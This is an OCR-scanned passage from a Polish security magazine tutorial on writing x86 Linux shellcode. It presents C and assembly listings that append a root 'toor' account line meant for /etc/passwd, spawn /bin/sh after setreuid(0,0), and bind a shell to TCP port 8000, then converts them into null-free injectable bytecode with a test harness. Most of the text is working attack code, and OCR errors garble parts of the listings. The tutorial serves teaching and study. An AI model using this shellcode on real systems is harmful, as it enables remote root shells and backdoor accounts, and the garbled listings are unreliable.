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Szelkod to zbidr instrukcji maszynowych,
nazywanych réwniez kodem bajtowym.
Jest jednym z najwazniejszych elemen-
téw eksploitéw wykorzystujgcych btedy typu
przepetnienie bufora (buffer overflow). Podczas
ataku zostaje wstrzykniety przez eksploita do
dziatajacego programu i w kontekscie tego pro-
gramu wykonuje operacje wskazane przez wta-
mywacza. Nazwa szelkod — kod powtoki, ang.
shellcode — pochodzi od pierwszych kodéw, kto-
re miaty za zadanie wywota¢ powtoke (w syste-
mach uniksowych powtoka jest program /bin/sh).
Obecnie tym terminem okresla sie kody, ktére
wykonujg bardzo réznorodne zadania.

Kod powtoki musi spetniac Scisle okreslone
warunki. Przede wszystkim nie moze zawieraé
bajtow zerowych (null byte, 0x00). Oznaczajq
one koniec ciggu znakow i przerywajg dziata-
nie najczesciej uzywanych do przepetniania
buforéw funkcji — strcpy, strcat, sprintf, gets
i tym podobnych. Ponadto, szelkod musi by¢
samodzielny i niezalezny od potozenia w pa-
mieci, co oznacza, ze nie mozna w nim stoso-
wac adresowania statycznego. Innymi cechami
kodu powtoki, ktére w pewnych sytuacjach mo-
ga by¢ wazne, sg jego wielkos¢ i zestaw zna-
koéw ASCII, z ktoérych sie sktada.
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Szelkod jest nieodtgcznym
elementem kazdego eksploita.
Podczas ataku zostaje
wstrzykniety do dziatajacego
programu i w kontekscie tego
programu wykonuje zadane
operacje. Znajomos¢ budowy
i sposobu dziatania kodu
powtoki, mimo ze nie wymaga
nadzwyczajnych umiejetnosci,
nie jest jednak powszechna.

Sprawdzmy, jak w praktyce wyglada two-
rzenie szelkodow. Napiszemy cztery funkcjo-
nalnie rézne programy, a nastepnie bedzie-
my modyfikowac je tak, aby zmniejszy¢ ich
objetos¢ i aby mozliwe byto ich wykorzysta-
nie w rzeczywistych eksploitach. Skupimy sie
przy tym wytacznie na budowaniu kodu powto-
ki — nie bedziemy porusza¢ zagadnien zwigza-
nych z samymi btedami przepetnienia bufora
czy budowg eksploitow jako takich.

Aby stworzy¢ poprawny, dziatajacy szel-
kod, nalezy dobrze rozumie¢ jezyk asemble-
ra dla procesora, na ktéorym ma by¢ wykony-
wany (patrz Ramka Rejestry i instrukcje). My
bedziemy trenowa¢ na 32-bitowych proce-

Z artykutu dowiesz sie...

jak napisa¢ poprawny kod powtoki,
jak go modyfikowac¢ i zmniejszaé.

Co powinienes wiedzieé¢...

powiniene$ umie¢ korzystac z systemu Linux,
powiniene$ zna¢ podstawy programowania
w C i asemblerze.
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Rejestry i instrukcje
Rejestry (patrz Tabela 1) to znajdujg-
ce sie w procesorze niewielkie komor-
ki pamieci, ktére stuzg do przechowy-
wania wartosci liczbowych i sg wyko-
rzystywane przez procesor podczas
wykonywania kazdego programu.
W 32-bitowych procesorach x86 reje-
stry maja wielkos¢ 32 bitow (4 bajtow).
Ze wzgledu na przeznaczenie mozemy
je podzieli¢ na rejestry danych (EAX,
EBX, ECX, EDX) oraz rejestry adreso-
we (ESI, EDI, ESP, EBP, EIP).
Rejestry danych dzielg si¢ na mniej-
sze, 16-bitowe (AX, BX, CX, DX) i 8-bi-
towe (AH, AL, BH, BL, CH, CL, DH, DL)
fragmenty — mozemy z nich korzystac,
aby zmniejszy¢ wielkos¢ kodu i pozbyé
sie bajtéw zerowych (patrz Rysunek 1).
Natomiast wiekszos¢ rejestrow adreso-
wych ma $cisle okreslone znaczenie
i nie powinno sie ich uzywa¢ do prze-
chowywania dowolnych danych.

sorach x86 i systemie Linux z jg-
drem 2.4, cho¢ wszystkie oma-
wiane przyktady kompilujg sie
i dziatajg poprawnie réwniez w syste-
mach z kernelem serii 2.6. Mamy do
wyboru dwa gtéwne rodzaje sktadni
asemblera: te stworzong przez AT&T
oraz sktadnie Intela. Mimo ze sktad-
nia AT&T jest uzywana przez wiek-
sz0$¢ kompilatoréw i programow de-
asemblujgcych — w tym gcc czy gdb
— my bedziemy korzysta¢ ze sktad-
ni Intela (jest bardziej czytelna).
Wszystkie przyktady bedziemy kom-
pilowa¢ programem Netwide Assem-
bler (nasm) w wersji 0.98.35, dostep-
nym w prawie kazdej dystrybuciji Li-
nuksa. Wykorzystamy réwniez pro-
gramy ndisasm oraz hexdump.
Instrukcje jezyka asembler sg ni-
czym innym jak symbolicznie zapisa-
nymi rozkazami dla procesora. Jest

EAX

Rysunek 1. Budowa rejestru EAX
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Tabela 1. Rejestry procesora x86 i ich przeznaczenie

Nazwa rejestru Przeznaczenie

Operacje arytmetyczne, operacje wejscia/
wyjscia i okreslanie wywotania systemowe-
go, ktére chcemy wykonac¢. Zawiera row-
niez warto$¢ zwracang przez wywotanie
systemowe.

EAX, AX, AH, AL — akumu-
lator

ECX, CX, CH, CL - licznik Najczesciej uzywany jako licznik do pe-
tli, przechowuje drugi argument wywotania

systemowego.

ESI — adres zrodtowy, EDI
— adres docelowy

Najczesciej stuzg do wykonywania operaciji
na dtugich tancuchach danych, w tym napi-
sach i tablicach.

Zawiera adres dna stosu. Uzywany do od-
wotywania sie do zmiennych lokalnych,
znajdujacych sie w aktualnej ramce stosu.

Tabela 2. Najwazniejsze instrukcje asemblera

mov — instrukcja przenie- Kopiuje zawarto$c¢ jednego fragmentu pamieci
sienia do innego: mov <cel>, <irédio>.

pop — instrukcja pobrania  Przenosi wartos¢ ze stosu do wskazanego
ze stosu fragmentu pamieci: pop <cel>.

sub — instrukcja odejmo- Odejmuje zawartosc¢ jednego fragmentu pa-
wania mieci od iNnNego: sub <cel>, <irédio>.

jmp — instrukcja skoku Zmienia wartosc rejestru EIP na okreslony ad-
res: jmp <adres>.

EBP — wskaznik bazowy,
wskaznik ramki

1ea — instrukcja zatadowa-
nia adresu

Umieszcza we wskazanym fragmencie pamieg-
Ci <ce1> adres innego fragmentu <zrodio>: lea

<cel>, <zrdbddio>.
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Listing 1. Plik write.c
#include <stdio.h>
main ()
char *line = "hello, world!\n";

write(l, line, strlen(line));
exit (0);

Listing 2. Plik add.c

#include <stdio.h>
#include <fcntl.h>

main ()

char *name = "/file";
char *line =

"toor:x:0:0::/:/bin/bash\n";
int fd;
fd = open (name,

O_WRONLY |O_APPEND) ;
write(fd, line, strlen(line));
close (fd) ;
exit (0);

Listing 3. Plik shell.c

#include <stdio.h>
main ()
char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

setreuid (0, 0);

execve (name 0],
name, NULL);

ich jest bardzo duzo, dzielg sie mie-
dzy innymi na instrukcje:

e przeniesienia (mov, push, pop),

* arytmetyczne (add, sub, inc, neg,
mul, div),

. Iogiczne (and, or, XOr, not),

. sterujape (jmp, call, int, ret),

e operujgce na bitach, bajtach
i tancuchach znakoéw (sh1, shr,
rol, ror),

* wejscia/wyjscia (in, out),

» kontroli flag.

Nie bedziemy tutaj omawia¢ wszyst-
kich dostepnych instrukcji — skupimy

Listing 4. Plik bind.c

#include <unistd.h>
#include <sys/socket.h>

#include <netinet/in.h>
int main()

char *name(2];
int f£d1, £fd2;
struct sockaddriin serv;
name[0] = "/bin/sh";
name[1] = NULL;
serv.sin addr.s_addr = 0;
serv.sin port = htons(8000);
serv.sin family = AF INET;
fdl = socket (AF_INET,
SOCK_STREAM, 0);
bind(fdl, (struct
sockaddr *)&serv, 16);
listen(fdl, 1);
fd2 = accept (fdl, 0, 0);
dup2 (£d2, 0);
dup2 (£fd2, 1)
dup2 (£d2, 2)

execve (name[0], name, NULL);

;
;

sie na najwazniejszych, czyli tych,
z ktoérych bedziemy korzystaé. Ich
opis, wraz z przyktadem zastosowa-
nia, znajduje sie w Tabeli 2.

Budujemy kod powtoki
Naszym celem jest napisane czte-
rech kodéw powtoki, z ktérych
pierwszy wypisuje tekst na stan-
dardowym wyjsciu, drugi doda-
je wpis do pliku, trzeci uruchamia
powtoke, a czwarty dowigzuje po-
wtoke do portu TCP. Zaczniemy od
stworzenia tych programéw w jezy-
ku C, gdyz znacznie tatwiej bedzie
przepisa¢ gotowy program na jezyk
asemblera niz tworzy¢ go od razu
w docelowej formie.

Kod zrédtowy pierwszego pro-
gramu o nazwie write przedstawio-
no na Listingu 1. Jego jedynym prze-
znaczeniem jest wypisanie na stan-
dardowym wyjsciu wiadomosci prze-
chowywanej w zmiennej line.

Listing 2 przedstawia drugi pro-
gram — add. Jego zadaniem jest
otworzenie pliku /file w trybie do za-
pisu (plik moze by¢ pusty, ale musi
istnie¢) i dodanie do niego linii toor:
x:0:0::/:/bin/bash. Tak naprawde
powinnismy ten wpis doda¢ do pliku
/etc/passwd, ale teraz, gdy ekspery-
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mentujemy, bezpieczniej bedzie nie
modyfikowac pliku haset.

Trzeci program, shell, jest ty-
powym kodem powtoki. Jego za-
danie to uruchomienie programu
/bin/sh po uprzednim wykonaniu
funkcji setreuid (o, 0), ktora przywra-
ca procesowi jego prawdziwe upraw-
nienia (ma to sens w sytuacji, gdy
atakujemy program suid, ktéry ze
wzgledow bezpieczenstwa pozby-
wa sie swoich uprawnien). Program
shell jest widoczny na Listingu 3.

Ostatni, najbardziejzaawansowa-
ny z naszych programow (o nazwie
bind) jest pokazany na Listingu 4.
Po uruchomieniu zaczyna nastuchi-
wacé na porcie 8000 TCP i w chwi-
li, gdy odbierze potgczenie przeka-
zuje komunikacje do uruchomionej
powtoki. Ten mechanizm dziatania
jest typowy dla wiekszosci eksplo-
itbw wykorzystujacych podatnosci
w serwerach sieciowych.

Proces kompilacji wszystkich
programéw i efekt ich dziatania
przedstawia Rysunek 2.

Przechodzimy

do asemblera

Teraz, gdy juz wiemy, ze nasze pro-
gramy dziatajg poprawnie, moze-
my wykonac¢ drugi krok i przepisac¢ je
w asemblerze. Generalnie naszym ce-
lem jest wykonanie tych samych funk-
cji systemowych, z ktérych korzystajg
programy napisane w C. Aby to zrobi¢
musimy jednak wiedziec¢, jakie nume-
ry przyporzadkowano tym funkcjom w
naszym systemie — mozemy sie tego
dowiedzie¢ zagladajac do pliku /usr/
include/asm/unistd.h. | tak, funkcja
write Ma numer 4, exit — 1, open — 5,
close — 6, setreuid —70, execve —11,
a dup2 — 63. Nieco inaczej wyglada
sytuacja z funkcjami operujgcymi na
gniazdach: funkcje socket, bind, 1isten
i accept 83 realizowane przez jedno
wywotanie systemowe — socketcall
—o numerze 102.

Musimy roéwniez zadba¢ o to,
aby te funkcje otrzymaty odpowied-
nie argumenty. W przypadku pierw-
szego programu, ktory korzysta tylko
Z write | exit, Sprawa jest prosta.
Funkcja write przyjmuje trzy argumen-
ty. Pierwszy z nich okresla deskryptor
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pliku, do ktérego bedziemy pisac¢, dru-
gi to wskaznik do bufora zawierajace-
go dane zrodtowe, a trzeci jest liczbg
okreslajacy ile znakéw chcemy zapi-
sac. Funkcja exit przyjmuje tylko je-
den argument, ktory okresla status,
z jakim konczymy dziatanie.

Write

Odpowiednik programu write w po-
staci kodu zrédtowego jezyka asem-
bler jest widoczny na Listingu 5.
W liniach 1 i 4 znajdujg sie dekla-
racje sekcji danych (.data) i ko-
du (.text). W linii 6 mamy domysl-
ny punkt wejscia dla konsolida-
cji ELF, ktory ze wzgledu na linker
Id musi by¢ symbolem globalnym
(linia 5). W linii 2 definiujemy zmien-
na msg — €igg znakow, zadeklarowa-
nych jako bajty (dyrektywa dav), za-
konczony znakiem konca wiersza
(0x0a). Linie 8 i 15 zawierajg komen-
tarze i sg ignorowane przez kompila-

tor. Pomiedzy liniami 9 a 13 oraz 16
a 18 znajdujg sie instrukcje przygo-
towujace i wykonujace funkcje write
i exit. Przesledzmy ich dziatanie.
Najpierw w rejestrze EAX
umieszczamy wartos¢ wywotania
systemowego, ktore chcemy wy-
kona¢ (write ma numer 4), a w re-
jestrach podajemy jego argumen-
ty: EBX — deskryptor standardo-
wego wyjscia (ma numer 1), ECX
— adres poczatku ciggu, ktory chce-
my wypisa¢ (jest przechowywany w
zmiennej msg), EDX — dlugos¢ na-
szego ciggu (wraz ze znakiem kon-
ca wiersza wynosi 14). Nastepnie
wykonujemy instrukcje int 0xso, kto-
ra powoduje przejscie w tryb kernela
i wykonanie wskazanej funkcji syste-
mowej. Podobnie wyglada sytuacja
z funkcjg exit: najpierw ustawiamy
rejestr EAX na jej numer (1), w re-
jestrze EBX wpisujemy 0 i ponownie
przechodzimy w tryb jgdra. Sposdéb

& ~/shellcode ~ Il:llﬂ
[shellcode] § goo -0 write write.c
[shellcode] § ./uwrite

hello, world!

[shellcode] § goo -o add add.c
[shellcode] § cat /file
root:x:0:0:3ystem Adwinistrator:/:/bin/bash
user:x:10:10:User:/hone/user:/bin/bash
[shellcode] § ./add

[shellcode] § cat /file
root:x:0:0:3ystem Adwministrator:/:/bin/bash
user:x:10:10:User:/home/user:/bin/bash
toor:x:0:0::/:/bin/bash

[shellcode] § gece -o shell shell.c
[shellcode] § ./shell

sh-2.05b§ 1s

add add.c bind.c shell shell.c test.c write write.c
sh-2.05b§ exit

exit

[shellcode] § goo -o bind bind.c
[shellcode] § ./bind &

[1] 23994

[shellcode] § telnet 127.0.0.1 8000
Trying: 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '*]'.

1s;

add

add.c

bind

bind.c

shell

shell.c

test.c

write

write.c

: commwand not found

exit;

Connection closed by foreign host.
[1]1+ Exit 127 ./bind
(shellcode] § []

Rysunek 2. Kompilacja i dziatanie programéw write, add, shell oraz bind
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Listing 5. Plik write1.asm

section .data

msg db 'hello, world!', 0x0a
section .text
global _start

_start:

; write(l, msg, 14)

O L J o U W N

mov eax, 4

—
o

mov ebx, 1

=
N

mov ecx, msg
mov edx, 14

int 0x80

o e
G W

: ; exit(0)

mov eax,

—
o
—

[
-
o

mov ebx,
int 0x80

-
@

kompilacji i efekt dziatania naszego
pierwszego programu napisanego
w asemblerze prezentuje Rysunek 3.

Add

Na Listingu 6 znajduje sie przettu-
maczony na asembler kod zrodtowy
drugiego programu, add. Jest on nie-
co bardziej skomplikowany.

Na poczatku, w sekcji danych,
deklarujemy dwie zmienne znakowe
—nane | 1line. Zawierajg one nazwe pli-
ku do modyfikacji i wiersz, ktéry chce-
my doda¢. Dziatanie zaczynamy od
otworzenia pliku /file, umieszczajac
w rejestrze EAX warto$¢ funkcji open
(5) i podajac jej dwa parametry:

* w rejestrze EBX zapisujemy ad-
res zmiennej name,

* w rejestrze ECX umieszczamy
wartos¢ 1025, ktéra jest liczbo-
w3 reprezentacjg kombinaciji flag
O WRONLY i O APPEND.

Po wykonaniu, funkcja open zwra-
ca liczbe (umieszcza jg w rejestrze
EAX), ktora jest numerem deskryp-
tora otwartego przez nas pliku. Be-
dziemy jej potrzebowa¢ do wykona-
nia funkcji write i close, wigc w linii 15
przenosimy jg do rejestru EBX. Dzieki
temu kolejna funkcja, ktérg wykonuje-
my (write) Ma juz pierwszy argument
(numer deskryptora) na wiasciwym
miejscu, czyli w rejestrze EBX. Na-
stepnie w rejestrze EAX zapisujemy
4, aw ECX — 24 (dtugos¢ dodawane-

www. hakin9.org




1%
(=
©
3
o
E
<
[
%0
)
[

a

go wiersza) i przekazujemy sterowa-
nie do jadra systemu (linia 21).

Na koniec musimy zamkng¢ plik
/file za pomocg funkcji ciose (rejestr
EAX musi zawiera¢ 6, zas EBX po-
zostaje nietkniety — caty czas znajdu-
je sie w nim numer deskryptora otwar-
tego pliku) i wychodzimy z progra-
mu funkcjg exit (w EAX 1, w EBX 0).
Kompilujemy i uruchamiany program
tak, jak przedstawiono na Rysunku 4.

Shell
W ten sam sposob przeksztatcamy
program shell — rezultat jest widocz-
ny na Listingu 7. Nie bedziemy go jed-
nak szczegotowo omawiac. Zamiast
tego skupimy sie na wywotaniu funkgji
execve (linie od 15 do 21), ktére moze
wydawac sie nieco skomplikowane.
Funkcja execve jako pierwszy ar-
gument przyjmuje adres ciggu zna-
kéw (linia 16), ktéry okresla program
do wykonania (/bin/sh). Drugim argu-
mentem jest tablica zawierajgca co
najmniej dwa elementy: ten sam cigqg
znakow i wartos¢ NULL. Aby przygo-
towac taka tablice korzystamy ze sto-
su. Najpierw odktadamy na stos dru-
gi element tablicy, wartos¢ NULL (li-
nia 17), a potem odktadamy pierw-
szy element, czyli adres ciggu zna-
koW name (linia 18). Nastepnie — za po-
moca rejestru ESP zawierajgcego ak-
tualny adres wierzchotka stosu, ktéry
w tym przypadku jednoczesnie jest ad-

resem naszej tablicy — ustawiamy dru-
gi argument funkgiji (linia 19). Z trzecim
i ostatnim argumentem nie ma proble-
mu — do rejestru EDX tadujemy 0 (wi-
da¢ w linii 20). Tak przygotowany pro-
gram kompilujemy i uruchamiamy po-
dobnie jak poprzednie.

Bind
Ostatni z naszych programoéw jest
najbardziej skomplikowany i wyma-
ga szerszego objasnienia ze wzgle-
du na sposob wykonywania funkcji
operujacych na gniazdach. Asem-
blerowa wersja programu bind jest
zaprezentowana na Listingu 8.

Funkcje socket, bind, 1listen
i accept sg realizowane przez jed-
no wywotanie systemowe (socket-
call), ktoére przyjmuje dwa argu-
menty. Pierwszym jest numer pod-
funkcji, ktorg chcemy wykonac (1 dla
socket, 2 dla bind, 4 dla 1istenibdla
accept), a drugi to adres do fragmen-
tu pamieci, w ktérym znajdujg sie ar-
gumenty dla tej podfunkcji. Przyjrzyj-
my sie wywotaniom funkcji socket
(linie 9-16) i pind (linie 21-35).

Jak wida¢ na Listingu 4, socket
przyjmuje trzy argumenty:

* rodzina protokotow
— protokoty Internetu),

» typ protokotu (sock _ sTrEAM — pO-
taczeniowy),

* protokét (0 — TCP).

(ar _1NET

& ~/shellcode -10] x|
[shellcode] § nasm -f elf writel.asm

[shellcode] § ld -o writel writel.o

[shellcode] § ./writel

hello, world!

[shellcodel$ [

Rysunek 3. Efekt dziatania programu write1

&+ ~/shellcode = lﬂlﬁ]

[shellcode] § nasm -f elf addl.asm

[shellcode] § ld -o addl addl.o
[shellcode] § cat /file

root:x:0:0:3ystem Administrator:/:/bin/bash
user:x:10:10:User: /home/ user: /bin/bash

[shellcode] § ./addl
[shellcode] § cat /file

root:x:0:0:System Administrator:/:/bin/bash
user:x:10:10:User:/home/user:/bin/bash

toor:x:0:0::/:/bin/bash
[shelleode] § ]

Rysunek 4. Efekt dziatania programu add1
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Musimy je umiesci¢ gdzies w pa-
mieci — najprosciej wtozy¢ je na stos
(linie od 9 do 11). Musimy jednak zro-

Listing 6. Plik add1.asm

1: section .data
2: name db '/file', 0

3: 1line db
"toor:x:0:0::/:/bin/bash’',
0x0a

4:

5: section .text

6: global _start

7: _start:

8:

9: ; open(name,

O _WRONLY|O_APPEND)
10: mov eax, 5
11: mov ebx, name
12: mov ecx, 1025
13: int 0x80
14:
15: mov ebx, eax
16:
17: ; write(fd, line, 24)
18: mov eax, 4
19: mov ecx, line
20: mov edx, 24
21: int 0x80
22:
23: ; close(fd)
24: mov eax, 6
25: int 0x80
26:
27: ; exit(0)

28: mov eax,

o

29: mov ebx,
30: int 0x80

Listing 7. Plik shell1.asm

: section .data
name db '/bin/sh', 0

1

2

3

4: section .text
5: global start
6: _start:

5

8

9

; setreuid(0, 0)
mov eax, 70

10: mov ebx, 0

11: mov ecx, 0

12: int 0x80

13:

14: ; execve("/bin/sh",
["/bin/sh", NULL], NULL)

15: mov eax, 11

16: mov ebx, name

17: push 0

18: push name

19: mov ecx, esp

20: mov edx, 0

21: int 0x80
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bi¢ to od konca, poniewaz stos jest
pamiecig typu FIFO i dane sg z nie-
go pobierane w odwrotnej kolejnosci
niz zostaty wtozone. W linii 9 wktada-
my wiec na stos trzeci argument (0),
pozniej drugi (1 — sock _ sTrREAM) i NA
koncu pierwszy (2 — ar _1neT). Na-
stepnie ustalamy argumenty dla sa-
mego wywotania socketcall:

« w EAX umieszczamy 102 (li-
nia 13),

« do EBX wprowadzamy numer
podfunkcji socket (linia 14),

« w ECX umieszczamy adres do
argumentow podfunkcji
ktére znajdujg sie na stosie i kto-
rych poczatek zawiera wskaznik
stosu, czyli rejestr ESP (linia 15).

socket,

Funkcja socket zwraca w rejestrze
EAX liczbe, ktora jest numerem de-
skryptora utworzonego gniazda.
Bedziemy jej jeszcze potrzebowa-
li do wykonania funkcji pind, listen
i accept, WieC przenosimy ja z reje-
stru EAX do EDX, ktory jak dotad nie
byt uzywany (linia 18).

Wywotanie funkcji binda jest nieco
bardziej ztozone, poniewaz jej drugim
argumentem jest wskaznik do 16-baj-
towej struktury sockaddr in, skta-
dajacej sie z czterech elementow:
sin _family (2 bajty), sin _port (2 baj-
ty), sin _addr (4 bajty) i pad (8 bathW)
Przede wszystkim musimy stworzy¢
takg strukture na stosie (linie 21-25).
Najpierw wktadamy wiec 8 bajtéw ze-
rowych bedacych elementem paa (linie
211 22), sin _addr ustawiamy na O (li-
nia23), sin _ port ustawiamy na 16415
(jest to liczba 8000 przekonwertowana
do sieciowego porzadku bajtow (linia
24), a do elementu sin _ family WPro-
wadzamy wartos¢ 2 (linia 25).

Instrukcje push w liniach 24
i 25 zawierajg dyrektywe word, kto-
ra oznacza, ze odktadamy na stos
2-bajtowe wartosci. Nastepnie ko-
piujemy adres utworzonej struktu-
ry z ESP do rejestru EBX (linia 26).
Teraz odktadamy na stos argumen-
ty samego wywotania vnind: argu-
ment trzeci wynosi 16 (linia 28), dru-
gi argument jest adresem struktury
sockaddr _ in, Ktory znajduje sie w re-
jestrze EBX (linia 29), a pierwszy ar-
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Listing 8. Plik bind1.asm

: section .data
name db '/bin/sh', 0

1

2

3:

4: section .text

5: global _start

6: _start:

7

8: ; socket (AF INET,
SOCK_STREAM, 0)

9: push 0
10: push 1
11: push 2
12:

13: mov eax, 102
14: mov ebx, 1
15: mov ecx, esp
16: int 0x80
17:
18: mov edx, eax
19:
20: ; bind(fdl,
{AF _INET, 8000,
"0.0.0.0"}, 16)

21: push 0
22: push 0
23: push 0

24: push word 16415
25: push word 2
26: mov ebx, esp
27:

28: push 16

29: push ebx

30: push edx

31:

32: mov eax, 102
33: mov ebx, 2
34: mov ecx, esp
35: int 0x80

36:

37: ; listen(fdl, 1)
38: push 1

39: push edx

40:

Listing 8. Plik bind1.asm cd.

41: mov eax, 102
42: mov ebx, 4
43: mov ecx, esp
44: int 0x80

45:

46: ; accept(fdi, 0, 0)
47: push 0

48: push 0

49: push edx

50:

51: mov eax, 102

52: mov ebx, 5

53: mov ecx, esp

54: int 0x80

55:

56: mov edx, eax

57:

58: ; dup2(fd2, 0)

59: mov eax, 63

60: mov ebx, edx

61: mov ecx, 0

62: int 0x80

63:

64: ; dup2(fd2, 1)

65: mov eax, 63

66: mov ebx, edx

67: mov ecx, 1

68: int 0x80

69:

70: ; dup2(fd2, 2)

71: mov eax, 63

72: mov ebx, edx

73: mov ecx, 2

74: int 0x80

75:

76: ; execve("/bin/sh",
["/bin/sh", NULL], NULL)

77: mov eax, 11

78: mov ebx, name

79: push 0

80: push name

81: mov ecx, esp

82: mov edx, 0

83: int 0x80

gument jest deskryptorem gniazda,
przechowywanym w rejestrze EDX
(linia 30). Na koniec (linie 32-35)
ustawiamy rejestry EAX, EBX i ECX
tak, by wykona¢ wywotanie systemo-
We socketcall i przechodzimy w tryb
kernela (int 0x80).

Dziatanie pozostatych instruk-
cji znajdujacych sie w tym programie
opiera sie na metodach, ktére juz zo-
staty zaprezentowane i nie bedziemy
ich szczegbétowo omawiac. Przejdzie-
my za to do kolejnego kroku — prze-
ksztalcenia programéw w asemble-
rze do postaci, ktérg mozna wykonacé
z wnetrza innego programu.

Upraszczamy kod

Mimo ze nasze programy dziatajg jak
najbardziej poprawnie, to wcigz sg da-
lekie od postaci mozliwej do wykorzy-
stania w prawdziwych eksploitach. Ich
struktura bytaby bez zarzutu w przy-
padku zwyczajnych, samodzielnych
programoéw, ale my tworzymy kod,
ktéry ma by¢ uruchamiany z wnetrza
innego procesu. Dlatego musimy zre-
zygnowac z przechowywania zmien-
nych znakowych w segmencie danych
i umiesci¢ je wsrdd instrukcji; musimy
réwniez znalez¢ sposéb na okreslenie
ich adreséw w przestrzeni adresowej
macierzystego programu.
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Listing 9. Okreslenie adresu
ciggu za pomocag instrukcji jmp
icall

jmp two
one:

pop ebx

two:
call one

db 'string'

Listing 10. Plik write2.asm

: BITS 32

jmp two
: one:

1

2

3

4

5: pop ecx
6.

7: ; write(1, "hello, world!", 14)
8 mov eax, 4

9: mov ebx, 1

10: mov edx, 14

11: int 0x80

12:

13: ; exit(0)

14: mov eax, 1

15: mov ebx, 0

16: int 0x80

17:

18: two:

19: call one

20: db 'hello, world!', 0x0a

Triki ze skokami

Z pomocg mogg ham przyjsc¢ instruk-
cje jmp i call. Ta ostatnia instrukcja
zmienia warto$¢ rejestru EIP powo-
dujagc skok do innego fragmentu ko-
du, ale jednoczesnie odkiada na stos
adres kolejnej instrukcji tak, aby moz-
liwe byto kontynuowanie programu
po zakonczeniu wywotania. Schemat
dziatania sztuczki, ktérg wykorzysta-
my jest bardzo prosty i zostat przed-
stawiony na Listingu 9. Najpierw ska-
czemy (instrukcja smp) do pozycji ozna-
czonej jako two, gdzie znajduje sie in-
strukcja ca11 i ciag znakow. ca1l wy-
konuje przeskok do pozycji one, jedno-
czesnie odktadajac na stos adres cig-
gu znakow, ktory za pomoca instrukcji
pop przenosimy do rejestru EBX.

Na Listingu 10 znajduje sie popra-
wiona wersja programu — write2.asm,
ktéra moze juz by¢ uruchamiana
z osobnego programu. Jak widac, zre-
zygnowalismy z deklaracji sekcji i do-

" ~/shellcode

[shellcode] § nasm write2.asm
[shellcode] § hexdump -C write2

00000030 6f 72 6 64 21 Da
0000003 6
[shellcode] $ [

00000000 eS8 1e 00 00 OO0 59 b8 04 00 00 00 bb 01 00 00 OO |..... i R |
00000010 ba Oe 00 00 00 cd 80 b8 01 00 00 OO0 bb 00 00 00 |.evevvrnnrnnrnes |
00000020 00 cd 80 e8 dd £f ££f £f 68 65 6¢c 6¢c 6f 2c 20 77 |........ hello, w|

lorld!.|

Rysunek 5. Kod powtoki uzyskany z programu write2

dalismy dyrektywe s11s 32, ktéra pod-
powiada kompilatorowi, aby wyge-
nerowat kod dla procesorow 32-bito-
wych. Jest to konieczne, poniewaz nie
bedziemy juz generowa¢ kodu w for-
macie ELF (parametr -z e1r). Wywo-
tania funkcji write i exit g zrealizowa-
ne niemal identycznie jak w pliku wri-
te1.asm, z tg réznica, ze w inny spo-
sOb umieszczamy adres ciggu hello,
world! W rejestrze ECX — pobieramy
go ze stosu (linia 5).

Kompilacja i sposob przeksztat-
cenia nowego programu w kod po-
witoki sg widoczne na Rysunku 5.

Chrzest bojowy

Mamy juz szelkod. Teraz musimy
sprawdzi¢ czy dziata. W tym celu na-
piszemy prosty programik (fest, wi-
doczny na Listingu 11), ktéry urucha-
mia cigg instrukcji przechowywany
W zmiennej znakowej code. Bedzie-
my z niego korzysta¢ przy testowa-
niu wszystkich naszych kodéw po-
wioki, zmieniajac zawartos¢ zmiennej
code lub dodajgc nowa. Aby nasz szel-
kod byt poprawnie uruchamiany, musi-

my dostosowac kod wyswietlany przez
program hexdump, poprzedzajac kaz-
dy bajt znakiem \x. Kompilujemy i uru-
chamiamy program tfest.c w sposob
zaprezentowany na Rysunku 6.

Szesnastki na stosie

Innym sposobem na umieszczenie
ciggu znakow w sekcji kodu jest za-
pisanie na stosie ich wartosci w po-
staci szesnastkowej i skopiowanie
wskaznika stosu tam, gdzie jest to
potrzebne. Jest to bardzo przydatna
technika — w wiekszosci przypadkéw
pozwala zmniejszy¢ wielkos¢ wyni-
kowego kodu powtoki. Kod przed-
stawiony na Listingu 12 prezentuje
program write2.asm zmodyfikowany
przy uzyciu tej techniki.

Wtozenie na stos ciggu zna-
kow do wyswietlenia nastepuje w li-
niach od 4 do 7. Oczywiscie musi-
my je umiesci¢ w odwrotnej kolejno-
$ci. Najpierw odktadamy znaki \n!
(warto$¢ szesnastkowa 0x0a21), na-
stepnie diro (0x646c726f), pdzniej
w o (0x77202c6f) i na koncu 1ien
(Ox6c6¢c6568). Adres do tak zbu-

Listing 11. Plik test.c

main ()

int (*shell) ();
(int)shell = code;
shell();

char code[]="\xe9\x1e\x00\x00\x00\x59\xb8\x04\x00\x00\x00\xbb\x01\x00"
"\x00\x00\xba\x0e\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x68\x65"
"\x6c\x6c\x6f\x2c\x20\x77\x6£\x72\x6c\x64\x21\x0a";

£ ~/shellcode

[shellcode] § goo -o test test.c
[shellcode] § ./test

hello, world!

[shellecodel§ ]

=101 x|

Rysunek 6. Testujemy szelkod

www. hakin9.org
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Listing 12. Plik write2b.asm

11:
12:
13:
14:
15:
16:
17:
18:

: BITS 32

; write(1, "hello, world!", 14)

1
2
3
4: push word 0x0a2l
5: push 0x646c726f
[°H
7
8
9
10

push 0x77202c6f

: push 0x6c6c6568

: mov eax, 4

: mov ebx, 1

mov ecx, esp
mov edx, 14
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

Listing 13. Plik add2.asm

32:
33:
34:
35:
36:
37:
38:

1
2
3
4:
5
6

: BITS 32

jmp three
one:

; open ("/file\n",
O WRONLY|O APPEND)
mov eax, 5

pop ebx

mov ecx, 1025
int 0x80

mov ebx, eax

jmp four

@ two:

; write(fd, "toor:x:0:0::
/:/bin/bash\n", 24)

mov eax, 4

Pop ecx

mov edx, 24

int 0x80

; close(fd)
mov eax, 6
int 0x80

., oexit(0)

mov eax, 1
mov ebx, 0
int 0x80

three:
call one
db '/file', 0

four:

call two

db 'toor:x:0:0::/:/bin/bash',
0x0a

hakin9 Nr 4 /2005

dowanego napisu przenosimy z re-
jestru ESP do ECX w linii 11. Wiel-
kos$¢ kodu powioki, ktory otrzymali-
Smy dzieki powyzszej modyfikaciji,
zmniejszyta sie o 4 bajty.

Na Listingach 13 i 14 znajdujg
sie kody zrédtowe programoéw add
i shell, ktére zostaty dostosowane do
